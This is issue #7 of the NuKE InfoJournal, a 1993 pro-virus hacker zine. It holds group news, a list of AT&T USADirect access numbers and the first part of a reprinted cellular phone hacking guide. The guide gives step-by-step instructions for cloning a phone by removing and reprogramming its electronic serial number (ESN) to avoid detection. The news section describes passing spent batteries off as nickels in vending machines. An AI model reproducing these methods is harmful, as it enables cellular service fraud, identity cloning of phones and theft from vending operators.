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NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE
KE -N
-N NuKE Informational Journal uK
uK Issue #7 E-
E- August 1993 Nu
Nu KE
KE (C) Copyright 1993 NuKE Software Publishing Inc. -N
-N uK
uK NuKE is a corporation officialy registered with the Canadian government E-
E- Nu
NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE
NuKE InfoJournal #7
August 1993
Article Topics
~~~~~~~~~~~~~~
000. Table of Contents (this file)...........................................
001. A NuKE International News Update........................................
002. AT&T USADirect Information..............................................
003. Cellular Telephones Hackers Guide : Cellular System Intro PART 1.
004. Cellular Telephones Hackers Guide : Hackers' Best Scams PART 2.
005. Cellular Telephones Hackers Guide : Home System ID Codes PART 3.
006. Cellular Telephones Hackers Guide : Buyers Guide & Publications PART 4.
007. Cellular Telephones Hackers Guide : Programming Instructions PART 5.
008. The Original DaeMaen Virus (source code)................................
009. Uncommon And Rare Explosives............................................
010. The Dangers of Thunderbyte's TBClean Emulation Techniques...............
011. Varicella-][ Virus Eats Up Thunderbyte's TBClean (source code)..........
012. CARO's Undisclosed Meeting Agenda................................PART 1.
013. CARO's Undisclosed _Illegal_ Meeting Agenda......................PART 2.
014. Toll Fraud Device (2600 reprint)........................................
015. To sara gordon Or Not To sara gordon That Is The Question...............
016. An E-Z Guide To Remote UNIX Disk Mounting...............................
--------------------------------------------------------------------------------
% NuKE Membership and Supporters %
NuKE Members
~~~~~~~~~~~~
Rock Steady............Canada
Nowhere Man............USA
Savage Beast...........Switzerland
Phrozen Doberman.......Australia
Screaming Radish.......Australia
ARiSToTLE..............USA
Dr. X..................Canada
Night Hawk.............Australia
Pure Energy............Canada
Shindaq Arl'hur........Australia
The Weird One..........Australia
Viper..................USA
NuKE Contributors and Supporters
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Commander Tosh.........Bulgaria
Little Loc.............USA
Firecracker............USA
Lone Wolf..............South Africa
Hades..................USA
Lvx....................USA
Time Lord [P/S]........Canada
Wolfee J...............USA
Radioactive Rat........South Africa
Vest...................USA
Winnie the Pooh........Bulgaria
Greets to: Phalcon/SKISM, Trident, Urnst Kouch and the CryPt team,
Control-C (612), Alan Solomon, Guido Sanchez, CARO, Nitro-187,
Megadeth, Kim Clancy, Pallbearer (welcome back!), SubLogic,
Sara "dark avenger is my lover" Gordon, Ned-239, all
pro-virus individuals worldwide, and everyone out there who's
a victim of "the system."
W H E R E T O C O N T A C T N U K E
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Cybernetic Violence........+1 514 426 9194 v32b NuKE World HQ
Black Axis.................+1 804 599 4152 v32b NuKE American HQ
The Brutal Truth...........+61 3 899 9213 Dual NuKE Australian HQ
Enigma E:N:U:N.............+41 22 340 0329 v32b NuKE European HQ
TRATEOTU...................+27 11 884 2270 2.4k NuKE African HQ
NuKE members can also be contacted over our international network, NuKENet.
===============================================================================
================================================================================
NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE
uK E-
E- "NuKE International News Update" Nu
Nu KE
KE By -N
-N uK
uK The NuKE Crew E-
E- Nu
E-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-Nu
NuKE InfoJournal #7
August 1993
% NuKE International News Update %
IJ#6 Errata
~~~~~~~~~~~
Unfortunately several mistakes were made in NuKE InfoJournal #6.
Article #4 ("IRIS Guide") was written by Nitro-187, not Ned-239 as
indicated in some copies of the InfoJournal. In article #2 ("A Guide to
the North American Numbering System"), by Nowhere Man, the non-published
number percentage chart should list Bakersfield, California as being in
area code 805. We apologize for any inconvenince to our readers or
writers.
Two Years Of NuKE!
~~~~~~~~~~~~~~~~~~
This month marks the second year of NuKE's existance! NuKE was founded
in August 1991 as an H/P group local to 514 (Montreal, Canada). Since
then NuKE has matured and evolved in to an international pro-virus
group with a worldwide network and many inovative products. Two
years may not seem like much, but there have been very few "groups"
that have lasted this long...
News From Europe
~~~~~~~~~~~~~~~~
NuKE now has four sites in Europe, adding Land of Lost Souls in
Sofia, Bulgaria (sysop: Winnie the Pooh). Winnie is working on adding
sites in the former USSR and other parts of Eastern Europe. Savage
Beast reports that sites are under consideration in Spain; he is unable
to add any French sites because of overzealous computer crime laws in
that country. A Belgian site is on the way, too. Besides Land of Lost
Souls, NuKE maintains three boards in Switzerland, one in the French-
speaking areas and two in the German-speaking areas. NuKE's European branch
is finally growning again after the closing of several of its sites due
to hardware problems, personal difficulties, and police raids.
NuKE Site Changes
~~~~~~~~~~~~~~~~~
Cybernetic Violence, NuKE's world headquarters, now has a new number.
It can be reached 24 hours a day, 7 days a week at +1 514 426 9194.
The old number is no longer valid! Cybernetic Violence (sysop: Pure
Energy) is located in Montreal, Quebec, Canada, and runs 24 hours/day
7 days/week at 14.4k v.32bis. Cybernetic Violence is also the central
hub of NuKENet.
The Hell Pit (sysop: Hades), located in Chicago, Illinois, USA, has
upgraded its modem and is now running at 14.4k v.32bis. The Hell Pit
can be reached 24 hours/day 7 days/week at +1 708 459 7267.
New 500 Area Code
~~~~~~~~~~~~~~~~~
In July 1993 Bellcore, the agency designated to assign area codes
and exchanges (NXXs) for the U.S., Canada, and the Caribbean,
announced that starting sometime in August (pending U.S. government
approval) it will allocate numbers in the 500 NPA for use by
personal communication services. Exchanges will be handed out
to corporations if they show a real need -- already AT&T and
Atlantic Bell have asked for exchanges. In the future, NPA 500
will probably also be used for cellular phones, pagers, and other
mobile services.
Quelle Horrible! Rock Steady French?!
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
In an interview done by Netta Gilboa of _Gray Areas_ Magazine
(an excellent publication, highly recommended) with Urnst Kouch,
published in Gray Areas no. 3 and reprinted in Computer Underground Digest
vol. 5 no. 44, Urnst Kouch states in error that "Rock Steady is
French-Canadian." We here at NuKE would like to make it very clear that
Rock Steady is not French, never was French, and never will be French.
Not everyone who lives in Quebec is a Francophone...
NuKENet -- One Year Old And Still Growing!
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
This summer marks the first anniversary of the creation of NuKENet.
NuKENet began in mid-1992 as a mail link between Cybernetic Violence
in Canada and Total Mayhem in Australia. It has since grown into
a huge multinational network with sites in Europe, Africa, Australia,
and North America. In fact, NuKENet can now be reached via the FidoNet
backbone at NUKE_THEWORLD -- request it today!
Interested in joining NuKENet? We'd be happy to have you, *if* you're
the right kind of system... Boards wishing to join NuKENet should
contact a net administrator; if that's not possible, mail any NuKE member
or supporting sysop for information.
Area Contact System Phone Number
~~~~ ~~~~~~~ ~~~~~~ ~~~~~~~~~~~~
United States ARiSToTLE Black Axis +1 804 599 4152
Europe Savage Beast Enigma E:N:U:N +41 22 340 0329
Africa Lone Wolf TRATEOTU (22h-15h GMT+2) +27 11 884 2270
Australia/NZ Phrozen Doberman The Brutal Truth +61 3 899 9213
Canada/Other Pure Energy Cybernetic Violence +1 514 426 9194
Area Split For Alabama
~~~~~~~~~~~~~~~~~~~~~~
On July 22, 1993 South Central Bell announced that Alabama will become
the first state to gain an interchangable (NXX) area code. In 1995 area
code 205 will split; Huntsville and Birmingham will remain in 205, while
Montgomery and Mobile will move to area code *334*. More details
will be published as they become available.
The following chart summerizes the remaining North American area code
splits:
NPA/NEW Location Split Full Cutover
~~~~~~~ ~~~~~~~~ ~~~~~ ~~~~~~~~~~~~
416/905 Ontario, Canada October 4, 1993 March 1994 (TBA)
919/910 North Carolina, USA November 14, 1993 February 13, 1994
313/810 Michigan, USA December 1, 1993 August 10, 1994
215/610 Pennsylvania, USA 1994 (TBA) TBA
205/334 Alabama, USA 1995 (TBA) TBA
Trick Of The Month
~~~~~~~~~~~~~~~~~~
Special thanks to Vest from 708 for an intresting tidbit of information --
spent three volt lithium batteries (model number CR-2032) will register
as nickles in coin-operated vending machines! Use old, exhausted
batteries only, though, since new batteries are around US$2.00 each...
This has only been tested in the U.S., but the CR-2032 is even closer
in circumference and weight to the Canadian nickle. If you call around, you
might be able to pick up bags of spent batteries for "recycling." Note:
this information is for informational purposes only, and is meant to alert
owners of coin-operated devices so that such fraudulent acts might be
detected and prevented.
Tough Swiss Anti-Piracy Laws
~~~~~~~~~~~~~~~~~~~~~~~~~~~~
In response to rampant piracy throughout the country the Swiss government
has enacted tough new anti-piracy laws that force people convicted of
using pirated software to name the person(s) providing the software or
face additional penalties. In Switzerland piracy has been particularly
bad, with most businesses using pirated software and some huge pirate
boards charging up to US$500 for unlimited access to copyrighted programs.
Viruses are not affected by the new law: possessing and creating viruses
are still legal in Switzerland.
Anti-Virus Results
~~~~~~~~~~~~~~~~~~
Savage Beast has conducted experiments with various anti-virus products
and has concluded that "a lot of them only look good...they're really
shit." No surprise there...however Savage has provided us with scientific
data to back up his claims. Below are the results of scanning with the
latest versions (as of July 1993) of various virus scanners -- judge for
yourself:
Product Maker Virus Tested Virus Found MTE Tested MTE Found
~~~~~~~ ~~~~~ ~~~~~~~~~~~~ ~~~~~~~~~~~ ~~~~~~~~~~ ~~~~~~~~~
SCAN 106 McAfee 2547 2075 200 200
M.S. AV Microsoft 2547 1500 200 0
F-Prot F. Skulason 2547 2253 200 200
XScan Anyware 2547 2151 200 200
C.P. AV Central Point 2547 1700 200 0
Norton AV Symantec 2547 1566 200 3
HackBuster H&B 2547 1776 200 0
ViruSafe Heliashim 2547 1896 200 0
As you can see, even the "best" products (F-Prot, XScan, SCAN) will miss
between 15% and 20% of current viruses. Even if you think your computer
is "protected" from viruses you can still get a virus from one out of five
infected programs...and that's not counting MTE-using viruses -- only three
of the scanners provide acceptable protection against the Mutation Engine,
which has been out for over two and a half years. Each time you put a
new disk in your floppy drive, ask yourself if this might be the "1 in 5."
The NuKE Crew
================================================================================
================================================================================
NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE
uK E-
E- "AT&T USADirect Information" Nu
Nu KE
KE By -N
-N uK
uK Nowhere Man E-
E- Nu
E-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-Nu
NuKE InfoJournal #7
August 1993
% AT&T USADirect %
With international telephone services becoming more and more integrated and
international calls becoming more and more common, it only makes sense than
calling cards would also evolve to ease international calling. AT&T
Calling Cards are usable to call back to the U.S. from over 170 different
countries, and to even call *between* 46 countries outside the U.S. (called
AT&T World Connect<tm> service). The AT&T USADirect Service<tm> is
available in over 110 countries. This service connects you immediately
back to an English-speaking AT&T operator in the U.S., who will take your
calling card number and place your call for you. The following is the
procedure for using USADirect:
1. Dial the USADirect access number for the country you're calling from.
2. An English-language voice prompt will ask for the telephone number
you are calling. Enter the area code and seven-digit phone number.
3. After the tone, enter your 14-digit AT&T Calling Card number, which
includes the last four digits, your PIN. If you're calling collect,
press zero for an English-speaking operator.
If you are at a telephone that does not have access to automated service,
simply wait for the English-speaking AT&T operator to greet you. To call
from country to country using World Connect<tm> service, please wait for
the AT&T operator to assist you. The operator will ask for your AT&T
Calling Card number and place the international call for you. To place
additional calls, press # after your party hangs up and follow the voice
prompts.
To call 800 numbers, ask the AT&T operator to connect you. Unfortunately,
she will only connect calls to AT&T 800 customers...however, this USADirect
service can be used by people who live outside the U.S. to reach 800
numbers. You don't need to have an AT&T Calling Card to do this.
Use your regular AT&T Calling Card number, not the international number.
To learn more about USADirect service, call (800) 331 1140 ext. 406 from
the U.S., or call collect to +1 412 553 7458 ext. 806 from abroad.
Country Phone Number
~~~~~~~ ~~~~~~~~~~~~
Andorra 19 (wait for second dial tone) 0011
Anguilla 1-800-872-2881
Antigua 872 (Boatphone Marine) or #1 (public card phones)
Argentina 001-800-200-1111
Aruba 800-1011
Australia 0014-881-011
Austria 022-903-011
Bahamas 1-800-872-2881
Bahrain 800-001
Belgium 078-11-0010
Belize 555
Bermuda 1-800-872-2881
Bolivia 0-800-1111
Brazil 000-8010
British Virgin Islands 1-800-872-2881
Cambodia 800-0011
Cape Verde Islands 112
Cayman Islands 1-800-872-2881
Chile 00 (wait for second dial tone) 0312
China 10811
Columbia 980-11-0010 (English) or 980-11-0011 (Spanish)
Costa Rica 114
Cyprus 080-90010
(former) Czechoslovakia 00-420-00101
Denmark 8001-0010
Dominica 1-800-872-2881
Dominican Republic 1-800-872-2881
Ecuador 119
Egypt 510-0200 (in Cairo) or 02-510-0200 (elsewhere)
El Salvador 190
Faeroe Islands 8001-0010
Finland 9800-100-10
France 19 (wait for second dial tone) 0011
Gabon 00 (wait for second dial tone) 001
Gambia 00111
Germany 0130-0010
Ghana 0191
Gibraltar 8800
Greece 00-800-1311
Grenada 872
Guam 018-872
Guatemala 190
Guyana 165
Haiti 001-800-872-2881
Honduras 123
Hong Kong 800-1111
Hungary 00 (wait for second dial tone) 800-01111
Iceland 999-001
India 000-117
Indonesia 00-801-10
Ireland 1-800-550-000
Israel 177-100-2727
Italy 172-1011
Ivory Coast 00-1111
Jamaica 0-800-872-2881
Japan 0039-111
Kenya 0800-10
Korea 009-11
Kuwait 800-288
Liberia 797-797
Liechtenstein 155-00-11
Luxembourg 0-800-0111
Macao 0800-111
Malawi 101-1992
Malaysia 800-0011
Malta 0800-890-110
Monaco 19 (wait for second dial tone) 0011
Montserrat 1-800-872-2881
Netherlands 06 (wait for second dial tone) 022-9111
Netherlands Antilles 001-800-872-2881
New Zealand 000-911
Nicaragua 64 (in Managua) or 02-64 (elsewhere)
Nigeria 1881
Norway 050-12011
Panama 109
Paraguay 0081-800 (in Asuncion only)
Peru 191
Philippines 105-11
Poland 0 (wait for second dial tone) 010-480-0111
Portugal 05017-1-288
St. Kitts/Nevis 1-800-872-2881
Saipan 235-2872
San Marino 172-1011
Saudi Arabia 1-800-100
Singapore 800-0011
Spain 900-99-00-11
Sri Lanka 430-430
Suriname 156
Sweden 020-795-611
Switzerland 155-00-11
Taiwan 0080-10288-0
Thailand 0019-991-1111
Turkey 9 (wait for second dial tone) 9-8001-2277
United Arab Emirates 800-1-0010
United Kingdom 0800-89-0011
Uruguay 00-0410
Venezuela 80-011-120 (English) or 80-011-121 (Spanish)
(former) Yugoslavia 99-38-0011
Zambia 00-899
Zimbabwe 110-899
Notice that most numbers include 011, the international dialing prefix in
the U.S. and Canada, or 288, "ATT" on the telephone keypad... Note that
Canada is not included in the list since AT&T Calling Cards can be used in
Canada the same way they are used in the U.S. (0+NPA+NXX-XXXX or placed
through the operator). The following countries will accept AT&T Calling
Cards, but access to USADirect is restricted to special phones at certain
places that Americans tend to congregate (hotels, airports, rail stations,
etc.): Barbados, Ethiopia, Mexico, Qatar, Romania, St. Lucia, Seychelles
Islands, Sierra Leone, Trinidad and Tobago, Turks and Caicos, Uganda, and
Yemen.
AT&T USADirect is an easy way to call the U.S. from abroad. Of course,
you have to have an AT&T Calling Card to use the service... Happily, AT&T
will issue calling cards to people who do not use AT&T long distance
service, including people who do not live in the USA. Call (800) 525 7955
for more information on obtaining an AT&T Calling Card outside the U.S. (or
call (800) 222 0300 if you want to obtain a calling card billed to your
U.S. home phone line).
Information for this article was compiled from "International Dialing
Guide," a booklet published by AT&T's International Information Service.
You can obtain one for yourself (they're free) by calling (800) 874 4000
and asking for it.
Nowhere Man/NuKE
===============================================================================
================================================================================
NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE
uK E-
E- "The _COMPLETE_ Cellular Telephone Hackers Guide Nu
Nu PART 1 KE
KE The Cellular Telephone System" -N
-N OCRd By uK
uK The NuKE Crew E-
E- Nu
E-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-Nu
NuKE InfoJournal #7
August 1993
[The following five part series consists of information that we scanned in
from the book "The Complete Cellular Telephone Hackers Guide" published by
Dynaspek Inc. of Westmont, Illinois, USA. Reprinted without permission. You
can order this book by sending US$53.95 (incl. S/H) by check or money order
to Dynaspek, P.O. Box 564, Westmont, IL 60559, or call them at +1 708 971 1585
for more information. -NM]
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% NOTICE %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
The information in this manual is intended to be used as an educational guide
for those seeking technical information about Cellular Mobile Telephone (CMT)
operation.
While the information in this manual is meant to serve as a guide to cellular
phone vulnerabilities, keep in mind that it is against the law to modify a
cellular phone for fraudulent use. The law states that no person shall intercept
or receive, or assist in intercepting or receiving, any communications service
offered over a cellular telephone frequency unless specifically authorized to
do so by a local telephone company or as may otherwise be specifically
authorized by law.
Therefore, it is the sole responsibility of the user of this manual to conform
to the rules and regulations of both Federal and State/Provincial government
in the use of the information contained herein. It is the responsibility of the
user of this manual to arrange and pay for, as necessary, and signals used in
testing any of the circuits or information contained herein.
The authors and those that helped research this article accept _no_ liability
or responsibility for the misuse of the information in this manual, or for any
modifications made on any cellular mobile telephone.
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
% Cellular System Operation %
The Cellular Mobile Telephone Systems is a low-powered, full duplex, radio/
telephone which operates between 800 and 900 Mhz, using multiple transceiver
sites linked to a central computer for coordination. The sites, or "cells",
named for their honeycomb shape, cover a range of three to six, or more, miles.
(five to nine kilometres) in each direction. Their range is limited only by
certain natural or man-made objects.
The cells overlap one another and operate at different transmitting and
receiving frequencies in order to eliminate cross-talk when transmitting from
cell to cell. Each cell can accommodate up to 45 different voice channel
transceivers. When a cellular phone is activated, it searches available
channels for the strongest signal and locks on to it. While in motion, if
signal strength begins to fade, the telephone will automatically switch signal
frequencies or cells as necessary without operator assistance. It fails to
find an acceptable signal, it will display an "out of service" or "no service"
message, indicating that it has reached the limit of its range and is unable to
communicate.
% Identification %
Each mobile telephone has a unique identification number which allows the Mobile
Telephone Switching Office (MTSO) to track and coordinate all mobile phones in
its service area. This ID number is known as the Electronic Security Number
(ESN). The ESN and Telephone Number are NOT the same. The ESN is permanent
number engraved into a memory chip called a PROM or EPROM, located in the
telephone chassis.
This number cannot be changed through programming as the telephone number
can, although it can be replaced. Each time the telephone is used, it
transmits its ESN to the MTSO by means of DTMF tones during the dialling
sequence. The MTSO can determine which ESN's are good or bad, thus individual
numbers can be banned from use within the system.
Call Switching
Cell sites switching is done automatically by the MTSO. The MTSO constantly
monitors signal strength data of both the caller and the receiver. To maintain
signal quality, when signal strength begins to fade, the MTSO locates the next
best cell site and re-routes the channels to maintain the communications link.
The switch takes approximately 300 milliseconds and is not noticeable to the
user. All switching is handled by computer, with the control channels telling
each cellular unit when and where to switch.
% The Numeric Assignment Module (NAM) %
A Numeric Assignment Module, or NAM, is a programmable, read-only-memory (PROM).
The NAM holds a limited amount of data, usually only 128 or 256 bits. NAM's
used are typically made by either NEC or Signetics. Common chip numbers are
82S23, 82S123 or equivalent. Other NAM's are manufactured by National
Semiconductors, Fujitsu, Texas Instruments, AMD and others. The NAM is actually
a 32-word by 8 bit PROM which is programmed with a PROM programmer/burner. The
32x8 PROM (256 bits, 32 word by 8 bit) bits are like fuses. A programmer will
trigger certain fuses within the NAM in order to give the phone a unique
identity and certain options.
NAM's are easy to purchase. Only the number of the chip is needed to buy one.
Consulting the latest issue of an IC MASTER is one way to determine what's
inside the chip and who distributes it.
The NAME is used to store the Mobile Identification Number (MIN), Lock Code,
the Home Systems Identification number (SIDH), and various other system
data. From the beginning address of the NAM, 00, you will find the System
Identification Home number (SIDH). Each market allows for two systems. These
two digits are even for the wire-line and odd for the non-wireline.
There are two kinds of NAMs used in cellular telephones:
"TRI-STATE" and "OPEN COLLECTOR" It is _mandatory_ to identify the type of
NAM in your cellular telephone before attempting to replace it. After it has
been identified, any of the electronic supply companies should be able to
supply a replacement. A TRI-STATE NAM can be used in over 95% of the cellular
telephones on the market today containing replaceable NAM's.
*** The NEC cellular series will _only_ accept tri-state NAM's ***
The identify the NAM chip compare the numbers in the READILY AVAILABLE NAME
TYPES table to the various chips on the circuit board for a match. The NAM
chip is usually factory mounted on a ZIF socket.
*** Motorola handheld phones, require special NAM's. Try calling the
cellular phone stores in your area. ***
% READILY AVAILABLE NAME TYPES %
Open Collector Tri-State
NAM Brand Part Number Part Number
AMD AM27LS18 AM27LS19
Fujitsu MB7056 MB7051
Harris HM7602 HM7603
MMI 53/63S080 53/63S081
MMI 53/6330 53/6331
NSC DM54S188 DM54S288
NSC DM82S23 DM82S123
TI TBP38SA030 TBP38S030
TI 74S188 74S288 (the most common)
(try National Semiconductor)
% Programming the NAM %
NAM's are generally mapped the same in all cellular phones. Codes such as
Mobile Id numbers (MIN1, MIN2), Homer System Id (SIDH), Access Overload Class
(ACCOLC), Group Identification Mark (GIM), Electronic Serial Number (ESN), and
options are programmed into the NAM.
% Format Map for NAM %
MOST BIT SIGNIFICANCE LEAST HEX ADDR.
-----------------------------------------------------
0 SIDH(14-8) 00
SIDH(7-0) 01 (8x32 NAM)
LU 0 0 0 0 0 0 MIN 02
A/B RI MIN2(33-28) 03
MIN(27-24) 0 0 0 0 04
0 0 0 0 MIN(23-20) 05
MIN1(19-12) 06
MIN1(11-4) 07
MIN1(3-0) 0 0 0 0 08
0 0 0 0 SCM(3-0) 09
0 0 0 0 0 IPCH(10-8) 0A
IPCH(7-0) 0B
0 0 0 0 ACCOLC(3-0) 0C
0 0 0 0 0 0 0 PS 0D
0 0 0 0 GIM(3-0) 0E
LOCK DIGIT 1 LOCK DIGIT 2 0F
LOCK DIGIT 3 LOCK DIGIT 4 10
EE 0 0 0 0 0 0 REP 11
HA 0 0 0 0 0 0 HF 12
SPARE LOCATIONS CONTAIN ALL ZEROS 13
SPARE 14
SPARE 15
SPARE 16
SPARE 17
SPARE 18
SPARE 19
SPARE 1A
SPARE 1B
SPARE 1C
SPARE 1D
NAM CHECKSUM 1E
NAM CHECKSUM 1F
% Cell Terms for the above abbreviations %
A/B : A switch located on the mobile telephone that allows the user to select
which frequency black (carrier) he or she wishes to use. Some telephones
have an internal switch from one block to the other when service is not
available on the pre-set block.
ACCOLC : Access Overload Class. There is no standard in use within the
United States at this time. This system offers priority depending
on how it is selected in the event of system overload. Typically
set to 0 plus the last digit of the phone number to provide random
loading. Originally, when the Federal government began designing
cellular systems, they intended to give emergency vehicles (such as
police, ambulances, and Fire Departments) codes that would allow them
priority over other subscribers, to communicate during emergencies.
EE : End to End signalling. DTMF signals are sent through the lines to
signal the end of a conversation. A tone code is also used to access
long distance carriers, to signal your answering machine, or to access
your voice mail.
GIM : Group Identification Mark. This is a two-digit number assigned by the
cellular carrier which determines roaming rights throughout the system.
As cellular systems are upgraded, the GIM will be on line real time,
requiring all NAM information, including the Mobile Identification
Number (MIN), to be validated before a subscriber is allowed to call
outside of their home area.
IPCH : Initial Paging Channel. 334 - wireline systems. 333 - non-wirelne
systems.
LOCK DIGIT : This field is a one - four digit code. It locks the cellular
telephone to prevent unauthorized use. The lock code is
programmed into the NAM, and is frequently factory set to
either 1234 or 0004.
LU : Local Use flag. Occasionally used to initialize approval for local calls.
The cellular carrier insures that local users are registered with a
local system. Hackers use the Roaming Technique to avoid this
complication.
HA : Horn Alert. 0 or 1. A 1 in this field tells the cellular phone that
this feature is available.
HF : Hands Free. 0 or 1. A 1 in this field tells the cellular phone that
this feature is enabled.
MIN1 : Mobile Identification Number. The telephone number assigned to
the telephone by the cellular carrier. If the telephone is brought
in, or a new one is purchased, the cellular service assigns this
number for both billing and for receiving calls. 7 or 10 digits in
length.
MIN2: The area code of the cellular phone number.
MIN MARK : Can be 0 or 1. The home station sends extended address data upon
origination and page response.
REP : Repertory dialling. Speed dialling. Some phones are capable of storing
100 numbers.
SCM : Station Class Mark. Identifies the phone as either a hand-held or
transportable/fixed cellular phone. SCM is determined by the transmit
power of the phone (0.8 watts for hand-held, 1.2, 3.0 watts for
transportable/fixed)
SIDH : Home System Id. Code used to identify the Home system where the cellular
telephone is registered. (See the Home System Id Listing Article)
% What About the Electronic Serial Number (ESN) %
An Electronic Serial Number, or ESN, is the unique, 32-bit, eleven-digit
serial number for each cellular telephone sold. The ESN is transmitted each
time a cellular telephone places a call. It is used to verify whether a
cellular telephone is registered with an authorized carrier. A dealer needs
the ESN in order to restore the service on a used phone.
The first three numbers are the manufacturer's decimal code. The fourth and
fifth are reserved, and may contain any digit, zero through nine. The
remaining six numbers are the decimal serial number for each individual
phone.
1 2 3 4 5 6 7 8 9 10 11
Manufacturers Reserved Decimal serial number
ESN code 0-9 of the phone
The decimal serial number can occasionally be found within the documentation
provided with a new cellular phone. In some cases, the ESN is engraved on
the telephone itself, but this is not universal with all manufacturers.
If a cellular telephone has been disconnected for any reason, the ESN must be
provided in order for service to be reestablished with the Carrier. Each
manufacturer assigns their own ESN to every mobile telephone. Therefore, a
single ESN may be duplicated by one or more manufacturers. A hacker may
bypass this system by altering other system information and leaving the
particular telephone's ESN unaltered.
*** CHANGING the ESN is THE ONLY SURE WAY to minimize any risk of getting
caught ***
The ESN is assigned at the factory, and in almost all cases, is the only
element that cannot be altered by use of the programming sequence without
removing it and replacing it with a new chip. The ESN chip is always factory
soldered and occasionally epoxide onto the circuit board to reduce tampering.
A decent hacker will be able to remove it and install a ZIF (Zero Insertion
Force) socket in its place. The ZIF socket makes it easy to replace the ESN
chip at any time. The NAM chip usually factory installed in a ZIF socket.
% How to locate the ESN %
Several methods are available for locating a cellular telephone ESN. These
methods are as follows:
1. The ESN is normally located on a PROM. The ESN is intentionally made to
be unerasable on most cellular phones to prevent the fraudulent use of
the phone. The PROM is programmed and installed at the factory with the
security fuse blown in order to prevent tampering. The ESN code on a PROM
may be read by removing the PROM from the cellular telephone and placing
it in a PROM reader to obtain a memory map of the chip. The ESN PROM is
distinctive because of its size and package. The ESN PROM will have
between sixteen and twenty-eight leads, in a square or rectangular
package. This is a BIPOLAR PROM. Most cellular telephones will accept
the National Semiconductor 32x8 PROM, which cannot be reprogrammed.
If a hacker knew the ESN of a particular cellular telephone, it is
possible to trace the memory map by installing the PROM in a reader and
obtaining a fuse map by use of the READ MASTER switch of the PROM
programmer. Many PROM programmers contain a VERIFY and COMPARE switch
to provide a comparison of one PROM's programming with another.
This may be a complicated task for the first-timer, so it is
recommended that a cellular telephone (bag phones are best) is
purchased strictly for the purpose of dismantling it in order to locate
the ESN. This will probably destroy the telephone, but will provide
valuable experience.
*** Some of the newer hand-held phone manufacturers (Motorola) are changing
to VLSI (very large scale integration) which combine several other chips
with the ESN chip, preventing hackers from programming those ships. Bag
phones are almost an easy hack. ***
2. Hire a "Cellular Consultant." A consultant is someone who works as an
installer and/or programmer, and would be able to show the user where
the ESN is located.
3. Get in touch with a local cellular telephone servicer and simply ask
for their help in identifying the memory chips in the telephone. Most
technicians will help without too much difficulty. (It's called
social engineering)
4. As a last resort, remove each memory chip and place it in a PROM reader.
When one if found that registers a reading, the ESN has been located.
5. Take the phone to a cellular service provider and ask them to provide
the ESN. They are often requested for insurance purposes, and can be
supplied easily enough by use of a Cellular Service Monitor. The monitor
reads the transmissions from the telephone and indicates the specific ESN.
6. The ESN is also normally provided with the original user information, if
available.
7. ESN chips may be identified by some of the following manufacturers'
markings:
AMD, AMPS, DM, HARRIS, HM, MOTOROLA, MB, MMI, NS, NSC, TBP, TI.
*** ESN Readers are also available for personal purchase. See "Buyers Guide"
article for further information on Personal Readers. ***
% Replacing the ESN %
Now that you've located the ESN, how do you replace it? The ESN needs to be
unsoldered in order to remove it. The user should be familiar with soldering
techniques, extra care must be taken not to touch any of the surrounding
connections, solder joints or chips. I do recommend you get a de-soldering
pen, you should get the pen with the suction pump, it will remove the
solder nicely. Chip pullers and de-soldering tools are available from any
electronical semiconductors store, even Radio Shack.
The following steps will aid in ESN removal:
1. Unscrew and remove the entire PC board containing the ESN. This is done
to prevent inadvertent damage to the rest of the unit during the
removing process.
2. Once you have determined which is the correct ESN chip, it is wise to make
a sketch of it to insure that it is replaced in the proper place and
direction. (Don't laugh, just DO IT.)
3. Using extreme caution, unsolder and remove the chip from the board.
4. Solder in a ZIF (Zero Insertion Force) socket to provide for easier removal
and placement of additional chips.
*** WARNING: No retailer, manufacturer or servicer will work on a unit in
which the ESN has been removed. In addition, it is their responsibility
to notify the proper authorities of such tampering. So if you screw up
get a _trustable_ friend to help or trash the unit. ***
5. Once the ZIF socket has been installed, reinsert the ESN and attempt to
place a call. If the call is successfully completed, the ESN has been
properly removed and replaced. If the call does not go through, recheck
the leads on the ZIF socket for proper installation.
6. Insert the ESN in a PROM reader to be sure it gets a reading. Use the
search mode to identify the Manufacturer's Serial Number, in order to
identify the first three addresses of the ESN on the PROM where
reprogramming will be done.
% Programming the ESN %
Insert the ESN in a PROM programmer to be sure it gets a reading. Use the
search mode and "read master" to identify the Manufacturer's Serial Number,
in order to identify the first three addresses of the ESN on the PROM fuse
map where programming the new chip will be done. Record the locations of the
ESN. Use the "edit buffer" command to change one number of the ESN. A new PROM
is then programmed with the PROM programmer. Instructions will come with the
programmers.
The entire PROM reading/emulating/programming process is relatively fast when
a personal computer is available. (Some PROM programmers allow RS-232 interface
with the IBM-PC clone, with the help of a computer program.) This will allow
the use of an EPROM emulator and allow you to program (burn) PROM chips
directly from the computer.
The Installation of the ZIF socket makes it possible to insert an EPROM
emulator into the socket. The hacker will often try a hundred or more ESN codes
before finding a good one. Use of an EPROM Emulator will allow the hacker to
load ESN codes without burning EPROMs until a good code is found and will
save the hacker hundreds of chips with the wrong codes programmed into them.
Use the emulator and the code read from the original chip, re-code a new PROM.
